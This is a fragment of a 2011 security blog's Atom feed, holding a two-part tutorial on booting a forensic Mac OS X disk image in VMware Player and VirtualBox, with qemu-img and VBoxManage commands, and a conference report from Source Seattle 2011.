href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=5250014295819090477" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5250014295819090477?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5250014295819090477?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/IXq7lWz9qSE/toorcon-seattle-2011.html" title="ToorCon Seattle 2011" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-NodAPp4nZCI/TgNjGoJa8rI/AAAAAAAAAvw/PdZ3xjgmmXE/s72-c/Foto0516.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/toorcon-seattle-2011.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkcFRXczeip7ImA9WhZaEks.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-412719135903667595</id><published>2011-06-28T05:52:00.000-07:00</published><updated>2011-06-28T06:33:34.982-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-28T06:33:34.982-07:00</app:edited><title>Live Forensics Mac OS X (II)</title><content type="html">&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Continuing on from last week's post, we are going to look at what's needed to correctly virtualize a physical disk with a &lt;i&gt;Mac OS X &lt;/i&gt;operating systems, this time using &lt;i&gt;VMWare&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The following are needed:&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;a href="http://wiki.qemu.org/Main_Page"&gt;Qemu&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://downloads.vmware.com/d/info/desktop_downloads/vmware_player/3_0?channel=fs&amp;amp;q=vmware%20player&amp;amp;ie=utf-8&amp;amp;oe=utf-8"&gt;VMWare           Player&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://prasys.info/osx86hackint0sh/"&gt;Empire EFI&lt;/a&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;&lt;span lang="en-GB"&gt;(Latest version for Intel processors that includes the generic and Legacy versions)&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt;                 &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;We use &lt;i&gt;VMWare Player&lt;/i&gt; since it is a free solution and given that, in this case, it has no &lt;i&gt;EFI&lt;/i&gt; support, we will use the alternative &lt;i&gt;Empire EFI&lt;/i&gt; boot system. &lt;i&gt;Empire EFI &lt;/i&gt;is no more than an &lt;i&gt;ISO&lt;/i&gt; that can serve as a boot disk for &lt;i&gt;Mac OS X&lt;/i&gt; systems that make use of the&lt;/span&gt;&lt;i&gt; &lt;/i&gt;&lt;a href="http://chameleon.osx86.hu/"&gt;&lt;i&gt;Chameleon&lt;/i&gt;&lt;/a&gt; bootloader.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;&lt;span lang="en-GB"&gt;Firstly, the image of the physical disk obtained beforehand is converted to an image compatible with &lt;i&gt;VMWare&lt;/i&gt; using &lt;i&gt;Qemu&lt;/i&gt; in the following way:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt; $sudo qemu-img convert –f raw imagen.dd –O vmdk imagen.vmdk&lt;/code&gt;&lt;/pre&gt;&lt;span lang="en-GB"&gt;&lt;br /&gt;Then we need to generate a configuration (&lt;i&gt;.vmx&lt;/i&gt;) file associated with the above file. To do that we create a text file with a&lt;i&gt; .vmx&lt;/i&gt; extension and we add something like the following:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;#!/usr/bin/vmware&lt;br /&gt;.encoding = "UTF-8"&lt;br /&gt;config.version = "8"&lt;br /&gt;virtualHW.version = "7"&lt;br /&gt;numvcpus = "4"&lt;br /&gt;cpuid.coresPerSocket = "4"&lt;br /&gt;scsi0.present = "TRUE"&lt;br /&gt;scsi0.virtualDev = "lsilogic"&lt;br /&gt;memsize = "2048"&lt;br /&gt;ide0:0.present = "TRUE"&lt;br /&gt;ide0:0.fileName = "&lt;span style="color: rgb(255, 0, 0);"&gt;imagen.vmdk&lt;/span&gt;"&lt;br /&gt;ide1:0.present = "TRUE"&lt;br /&gt;ide1:0.autodetect = "TRUE"&lt;br /&gt;ide1:0.deviceType = "cdrom-image"&lt;br /&gt;floppy0.startConnected = "FALSE"&lt;br /&gt;floppy0.fileName = ""&lt;br /&gt;floppy0.autodetect = "TRUE"&lt;br /&gt;ethernet0.present = "TRUE"&lt;br /&gt;ethernet0.connectionType = "nat"&lt;br /&gt;ethernet0.virtualDev = "e1000"&lt;br /&gt;ethernet0.wakeOnPcktRcv = "FALSE"&lt;br /&gt;ethernet0.addressType = "generated"&lt;br /&gt;usb.present = "TRUE"&lt;br /&gt;ehci.present = "TRUE"&lt;br /&gt;sound.present = "TRUE"&lt;br /&gt;sound.fileName = "-1"&lt;br /&gt;sound.autodetect = "TRUE"&lt;br /&gt;pciBridge0.present = "TRUE"&lt;br /&gt;pciBridge4.present = "TRUE"&lt;br /&gt;pciBridge4.virtualDev = "pcieRootPort"&lt;br /&gt;pciBridge4.functions = "8"&lt;br /&gt;pciBridge5.present = "TRUE"&lt;br /&gt;pciBridge5.virtualDev = "pcieRootPort"&lt;br /&gt;pciBridge5.functions = "8"&lt;br /&gt;pciBridge6.present = "TRUE"&lt;br /&gt;pciBridge6.virtualDev = "pcieRootPort"&lt;br /&gt;pciBridge6.functions = "8"&lt;br /&gt;pciBridge7.present = "TRUE"&lt;br /&gt;pciBridge7.virtualDev = "pcieRootPort"&lt;br /&gt;pciBridge7.functions = "8"&lt;br /&gt;vmci0.present = "TRUE"&lt;br /&gt;roamingVM.exitBehavior = "go"&lt;br /&gt;displayName = "&lt;span style="color: rgb(255, 0, 0);"&gt;Mac OS X&lt;/span&gt;"&lt;br /&gt;guestOS = "darwin"&lt;br /&gt;nvram = "&lt;span style="color: rgb(255, 0, 0);"&gt;imagen.nvram&lt;/span&gt;"&lt;br /&gt;virtualHW.productCompatibility = "hosted"&lt;br /&gt;extendedConfigFile = "&lt;span style="color: rgb(255, 0, 0);"&gt;imagen.vmxf&lt;/span&gt;"&lt;br /&gt;ide1:0.fileName = "&lt;span style="color: rgb(255, 0, 0);"&gt;LegacyBootCD.iso&lt;/span&gt;"&lt;br /&gt;ethernet0.generatedAddress = "00:0c:29:bc:86:69"&lt;br /&gt;uuid.location = "56 4d c6 30 f2 64 ca 05-a7 fd bc ba bb bc 86 69"&lt;br /&gt;uuid.bios = "56 4d c6 30 f2 64 ca 05-a7 fd bc ba bb bc 86 69"&lt;br /&gt;cleanShutdown = "TRUE"&lt;br /&gt;replay.supported = "FALSE"&lt;br /&gt;replay.filename = ""&lt;br /&gt;ide0:0.redo = ""&lt;br /&gt;pciBridge0.pciSlotNumber = "17"&lt;br /&gt;pciBridge4.pciSlotNumber = "21"&lt;br /&gt;pciBridge5.pciSlotNumber = "22"&lt;br /&gt;pciBridge6.pciSlotNumber = "23"&lt;br /&gt;pciBridge7.pciSlotNumber = "24"&lt;br /&gt;scsi0.pciSlotNumber = "16"&lt;br /&gt;usb.pciSlotNumber = "32"&lt;br /&gt;ethernet0.pciSlotNumber = "33"&lt;br /&gt;sound.pciSlotNumber = "34"&lt;br /&gt;ehci.pciSlotNumber = "35"&lt;br /&gt;vmci0.pciSlotNumber = "36"&lt;br /&gt;vmotion.checkpointFBSize = "16973824"&lt;br /&gt;ethernet0.generatedAddressOffset = "0"&lt;br /&gt;vmci0.id = "771566075"&lt;br /&gt;tools.syncTime = "FALSE"&lt;br /&gt;isolation.tools.hgfs.disable = "TRUE"&lt;br /&gt;sharedFolder.maxNum = "1"&lt;br /&gt;usb:0.present = "TRUE"&lt;br /&gt;usb:1.present = "TRUE"&lt;br /&gt;usb:1.deviceType = "hub"&lt;br /&gt;usb:0.deviceType = "mouse"&lt;br /&gt;checkpoint.vmState = ""&lt;br /&gt;sharedFolder0.present = "FALSE""&lt;span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;&lt;span lang="en-GB"&gt;Where...&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;ide0:0.fileName&lt;/i&gt; = The name of our &lt;span style="font-style: italic;"&gt;VMWare&lt;/span&gt; image.&lt;/li&gt;&lt;li&gt;&lt;i&gt;displayName&lt;/i&gt; = The name given to the virtual machine.&lt;/li&gt;&lt;li&gt;&lt;i&gt;extendedConfigFile = &lt;/i&gt;The name that you want to give to the extended configuration file (Auto-generated).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;nvram&lt;/i&gt; = The name that you want to give to the Virtual Machine's memory file. (Auto-generated).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;ide1:0.fileName&lt;/i&gt; = The name of the .iso file of the loader of &lt;span style="font-style: italic;"&gt;Empire EFI&lt;/span&gt; boot, downloaded beforehand.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;It’s worth mentioning, that all the previous files need to be in the same directory.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Once this point is reached, start up the &lt;i&gt;VMWare Player&lt;/i&gt; and open the previously created &lt;i&gt;.vmx&lt;/i&gt; file. As the machine starts up, press the ESC key to select the boot unit and choose CD-ROM (If we press F2 we will enter the &lt;i&gt;BIOS&lt;/i&gt; setup and could select this option permanently).&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Finally, once the bootloader menu is loaded, select the "mac" option and now we can proceed with the online analysis of the system.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;As a final note, our tests have been made with a &lt;i&gt;Mac OS X 10.6.4&lt;/i&gt; system image and it was necessary to use the Legacy version of &lt;i&gt;Empire EFI for VMWare Player.&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-i.html"&gt;Live         Forensics Mac OS X (I)&lt;/a&gt;&lt;/div&gt;         &lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-ii.html"&gt;Live Forensics Mac OS X (II)&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Santiago Vicente&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-412719135903667595?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/Rtxl4W3GEcQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/412719135903667595/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=412719135903667595" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/412719135903667595?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/412719135903667595?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/Rtxl4W3GEcQ/live-forensics-mac-os-x-ii.html" title="Live Forensics Mac OS X (II)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-ii.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04BRH44fyp7ImA9WhZaEUQ.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-8785290892565609237</id><published>2011-06-27T08:36:00.000-07:00</published><updated>2011-06-27T09:25:55.037-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-27T09:25:55.037-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Ecrime" /><category scheme="http://www.blogger.com/atom/ns#" term="forensics" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="Fraud" /><category scheme="http://www.blogger.com/atom/ns#" term="Events" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Conference" /><category scheme="http://www.blogger.com/atom/ns#" term="Botnet" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>Source Seattle 2011</title><content type="html">&lt;div style="text-align: justify;"&gt;Some days ago, &lt;a href="http://www.sourceconference.com/seattle/"&gt;Source Seattle&lt;/a&gt; (USA) took place. It is the first time it has taken place in Seattle and although the attendance couldn’t match the Boston conference, the atmosphere was magnificent. It began on Tuesday the 14th with an event for the speakers and organizers to get to know each other and enjoy a beer with some tasty Asian cuisine. I was the representative of the S21sec e-crime team with a speech about banking Trojans.&lt;br /&gt;&lt;br /&gt;The talks began on Wednesday the 15th and the &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp"&gt;agenda&lt;/a&gt; was divided into two tracks, one dedicated to technical themes and the other centred on the business world. The first day, the following themes (amongst others) were touched on: &lt;a href="http://www.slideshare.net/SOURCEConference/how-much-security"&gt;evaluation of necessary expenses in security&lt;/a&gt;, &lt;a href="http://www.slideshare.net/SOURCEConference/the-latest-developments-in-computer-crime-law"&gt;the application of the law in cybercrime matters&lt;/a&gt;, &lt;a href="http://www.slideshare.net/SOURCEConference/threat-modeling-best-practices"&gt;threat modelling&lt;/a&gt;, &lt;a href="http://www.slideshare.net/SOURCEConference/forensic-memory-analysis-of-androids-dalvik-virtual-machine"&gt;forensic memory analysis of Android’s Dalvik Virtual Machine&lt;/a&gt; and our speech about the &lt;a href="http://www.slideshare.net/SOURCEConference/banking-fraud-evolution"&gt;evolution of fraud through banking Trojans&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The objective of the speech was to analyse the changes that including banking Trojans has brought, how their injections have adapted and how they have arrived at a point where the binary family is no longer important and what is really striking, in the success of a malware campaign, is how the cybercriminals are using the binaries. The speech covered one of the latest banking Trojans, &lt;a href="http://securityblog.s21sec.com/2011/02/tatanga-new-banking-trojan-with-mitb.html"&gt;Tatanga&lt;/a&gt;, and a demo was made showing the different stages of &lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;ZeuS Man in the mobile (MitMo)&lt;/a&gt;. You can download the presentation &lt;a href="http://eternal-todo.com/files/presentations/Banking%20Fraud%20Evolution%20-%20Source%20Seattle.pdf"&gt;from this link&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-RcYTnA7ydH8/TgMddT415PI/AAAAAAAAAvQ/YaXNt3GfYF0/s1600/HPIM4652.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/-RcYTnA7ydH8/TgMddT415PI/AAAAAAAAAvQ/YaXNt3GfYF0/s400/HPIM4652.JPG" alt="" id="BLOGGER_PHOTO_ID_5621369149280609522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The next day the sessions began early. The first session began during breakfast, at 8am. It was given by the guys from Trustwave. They explained how they had successfully managed the DEFCON network during recent years: &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#luiz"&gt;&lt;span style="font-style: italic;"&gt;Building the DEFCON network, making a sandbox for 10,000 hackers&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-xWTwuaYVw2g/TgMd-OMi9fI/AAAAAAAAAvY/R-MnAI3e2ZI/s1600/HPIM4658.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/-xWTwuaYVw2g/TgMd-OMi9fI/AAAAAAAAAvY/R-MnAI3e2ZI/s400/HPIM4658.JPG" alt="" id="BLOGGER_PHOTO_ID_5621369714688325106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There were 12 further presentations, each one interesting. For example, the one given by &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#jbrachman"&gt;Jarret Brachman about extremism on the Internet&lt;/a&gt;, discussed how the use of point scoring and reputation systems (gamifying) made for more energetic participation in movements.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-fwJ88GOthV0/TgMeUa6Dl2I/AAAAAAAAAvg/_Xerv2HE2NI/s1600/HPIM4659.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/-fwJ88GOthV0/TgMeUa6Dl2I/AAAAAAAAAvg/_Xerv2HE2NI/s400/HPIM4659.JPG" alt="" id="BLOGGER_PHOTO_ID_5621370096057554786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;After this, came others that dealt with &lt;a href="http://www.slideshare.net/SOURCEConference/everything-you-should-already-know-about-mssql-postexploitation"&gt;post-exploitation in MS-SQL environments&lt;/a&gt;, the &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#rgula"&gt;analysis of malicious code through&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Security_information_and_event_management"&gt;SIEM systems&lt;/a&gt; and the &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#rpermeh"&gt;reverse engineering of iPhone applications&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-YWw_vq_fmhI/TgMeuYPFIxI/AAAAAAAAAvo/c7kM8mhJTxU/s1600/HPIM4664.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/-YWw_vq_fmhI/TgMeuYPFIxI/AAAAAAAAAvo/c7kM8mhJTxU/s400/HPIM4664.JPG" alt="" id="BLOGGER_PHOTO_ID_5621370542017028882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There were four further speeches and from the technical side we could highlight: the &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#agrattafiori"&gt;security in Mac OS X Enterprise systems&lt;/a&gt; and the weakness of some of the protocols and &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#asood"&gt;finding devices on the network through HTTP requests&lt;/a&gt;. In parallel, in the business track, the themes of &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#mdahn"&gt;PCI Compliance in the Cloud&lt;/a&gt; and &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#mconley"&gt;hiring of security personnel&lt;/a&gt; were touched upon.&lt;br /&gt;&lt;br /&gt;The conference ended with an event where all attendees and other professionals from the city could get to know each other and debate a wide range of topics. Also, the &lt;a href="http://seattle.toorcon.org/"&gt;ToorCon&lt;/a&gt; took place this same weekend. So, we could meet some of the attendees and speakers around there, for example, Dan Kaminsky.&lt;br /&gt;&lt;br /&gt;In summary, another conference to bear in mind and one that will surely improve in years to come, as the number of security professionals in Seattle is enormous. There are businesses such as Microsoft, Facebook and Google settled nearby. Without a doubt, I would recommend you attend this conference in the future, if you have the chance. The way we were treated and the organization were impecable!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-8785290892565609237?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/nCJz5ti32mw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/8785290892565609237/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=8785290892565609237" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8785290892565609237?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8785290892565609237?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/nCJz5ti32mw/last-week-source-seattle-usa-took-place.html" title="Source Seattle 2011" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-RcYTnA7ydH8/TgMddT415PI/AAAAAAAAAvQ/YaXNt3GfYF0/s72-c/HPIM4652.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/last-week-source-seattle-usa-took-place.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkUHQH0yfip7ImA9WhZaEks.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-8942398609112571626</id><published>2011-06-24T11:16:00.000-07:00</published><updated>2011-06-28T06:37:11.396-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-28T06:37:11.396-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="forensics" /><category scheme="http://www.blogger.com/atom/ns#" term="virtualization" /><category scheme="http://www.blogger.com/atom/ns#" term="mac" /><title>Live Forensics Mac OS X (I)</title><content type="html">&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;When dealing with expert or forensic reports, the reports must be objective, testable and reproducible. This last requirement, although desirable, is not always possible, for example, in the case of medical forensics or in the IT world, when a first acquisition of volatile data is made. But, this needn’t be an issue if the process followed is correctly documented.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; Even so, a forensic analyst will not always be able to make an "online"  analysis before creating the binary image, maybe because the system is  switched off, destroyed or simply because the case load does not allow  for it at that particular moment. For this reason, once the  corresponding copies have been taken, it is possible to start the system  up in a virtual environment. Although not exactly reproducing the  conditions before the acquisition, this could serve as an aid and  complement “offline” analysis. It also could be reproducible afterwards.&lt;br /&gt;  &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;This method is typically used for analysis of &lt;i&gt;Windows&lt;/i&gt; and &lt;i&gt;*nix&lt;/i&gt; systems, but is perhaps less widely used in the case of &lt;i&gt;Apple&lt;/i&gt; desktop operating systems. For that reason, we will show the necessary steps to create and start up a Virtual machine, from a physical disk image of the system under analysis. We will firstly look at &lt;i&gt;VirtualBox&lt;/i&gt; and continue in a second post with &lt;i&gt;VMWare&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The whole process has been made on a &lt;i&gt;Linux Ubuntu 10.04&lt;/i&gt; distribution, but could be made from &lt;i&gt;Windows&lt;/i&gt; in the same way or even on &lt;i&gt;Mac OS X&lt;/i&gt;. In this case we would need the following:&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;a href="http://wiki.qemu.org/Main_Page"&gt;Qemu&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt; 3.2.6 or later.&lt;span lang="en-GB"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;A processor with virtualization technology&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;                 &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The first step is to convert the &lt;i&gt;RAW&lt;/i&gt; image that was obtained from the physical machine beforehand, to a virtual disk compatible with &lt;i&gt;VirtualBox&lt;/i&gt;. For that &lt;i&gt;Qemu&lt;/i&gt; can be used in the following way:&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt; $sudo qemu-img convert –f raw imagen.dd –O vdi imagen.vdi&lt;/code&gt;&lt;br /&gt;&lt;/pre&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;&lt;br /&gt;This could also be done via &lt;span style="font-style: italic;"&gt;VirtualBox&lt;/span&gt; itself:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;/p&gt; &lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt; $VBoxManage convertfromraw &amp;lt;filename&amp;gt; &amp;lt;outputfile&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span lang="en-GB"&gt;&lt;br /&gt;Depending on the size of the disk, this could take from some minutes, up to various hours. &lt;/span&gt;&lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Next a new virtual machine is created and configured. This can be done from the command line in the following way:&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt; $VBoxManage createvm --name &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --ostype MacOS_64 --register --basefolder &lt;span style="color: rgb(51, 51, 255);"&gt;/VirtualMachines&lt;/span&gt;&lt;br /&gt; $VBoxManage modifyvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --memory 1024&lt;br /&gt; $VBoxManage modifyvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --accelerate3d on 